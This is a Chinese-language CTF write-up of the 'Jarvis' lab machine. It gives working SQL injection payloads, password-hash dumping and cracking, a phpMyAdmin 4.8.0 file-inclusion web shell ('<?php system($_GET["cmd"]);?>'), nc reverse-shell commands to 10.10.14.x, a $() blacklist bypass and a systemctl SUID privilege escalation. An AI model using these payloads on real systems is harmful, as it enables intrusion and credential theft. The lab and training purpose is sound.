nmap -p- -v -n --open -Pn 10.10.10.143
nmap -p- --min-rate 10000 -v 10.10.10.143
nmap -p 22,80,64999 -sV -A -Pn 10.10.10.143
PORT STATE SERVICE VERSION
22/tcp open ssh?
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
apache2.4.25 php
访问80端口,在页面中发现域名supersecurehotel.htb,配个host
扫描子域名无果
在响应头中发现有IronWAF: 2.0.3
扫目录发现phpmyadmin 4.8.0,版本由响应中的PMA_VERSION值和phpmyadmin/ChangeLog确认
但是4.8.0只找到一个本地文件包含RCE,且需要账号密码。爆破失败。继续回到主页面点点点。
发现订房页面有get传参
通过1+1 1-1判断应该存在数字型sql注入的。继续测试发现存在延时注入(注意右下角时间)
先上sqlmap
sqlmap -u http://10.10.10.143/room.php?cod=0 -dbs
sqlmap -u http://10.10.10.143/room.php?cod=0 -D hotel -T room --columns --level 3
+---------+--------------+ | Column | Type | +---------+--------------+ | cod | int(11) | | descrip | varchar(400) | | image | varchar(40) | | mini | varchar(400) | | name | varchar(35) | | price | int(11) | | star | varchar(350) | +---------+--------------+
没什么东西.延时注入读文件也不好读
手工测试一下,发现联合查询注入就可以,没必要延时。。。。。
room.php?cod=1 order by 8--+
第八列回显不正常,说明只有7列
room.php?cod=0 Union Select 1,user(),3,4,5,6,7--+
这里犯了一个错误,最开始我用code=1 union xxx,页面一直没什么变化,和code=1一模一样。后来才反应过来是存在的结果把union的返回挡住了。
上面sqlmap测试的时候已经知道了hotel库里面应该就是房间的一些信息。所以直接去mysql库里找用户密码
查表
room.php?cod=0 Union Select 1,group_concat(table_name),3,4,5,6,7 From information_schema.tables Where table_schema='mysql' --+
user表里查列
user表查值
room.php?cod=0 Union Select 1,group_concat(User),3,group_concat(Password),5,6,7 From mysql.user--+
再使用john离线破解
john --format=mysql-sha1 --wordlist=/usr/share/wordlists/rockyou.txt jarvis-hash.txt
john --show jarvis-hash.txt
DBadmin 密码imissyou
成功登录phpmyadmin.那么现在我们可以尝试之前找到的phpmyadmin4.8.0 exp了
首先执行一次查询插入php代码
select '<?php system($_GET["cmd"]);?>'
查看自己的sessionid
再包含session文件getshell
访问
supersecurehotel.htb/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_cphdvift7qr50ea29ensvl8vj4nvbjp7&cmd=nc%20-e%20/bin/sh%2010.10.14.6%2080
最开始使用bash反弹还没成功,然后尝试nc反弹
至此获取到www-data权限
上传linux-exploit-suggester后发现有不少可以尝试的exp先放着,实在不行再来。
这个py代码很长,有问题的就是这里
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
过滤的不完善,还可以用$()绕过
本来应该利用这个横向到pepper。
但是find / -perm -u=s -type f 2>/dev/null
查找suid对比gtfobins直接有发现
查了一下利用方法
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.8 4444"
[Install]
WantedBy=multi-user.target' > mm.service
#生成的unit名位mm.service
# 再执行如下
systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service
按上述本地写个文件再传上去,并移动到/dev/shm/目录
再执行发现无权限。于是重新尝试先横向pepper用户,为了绕过上面python代码中的黑名单,将反弹shell代码写到/tmp/1.sh再通过上述命令注入执行
转到pepper用户后再度尝试suid提权成功
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。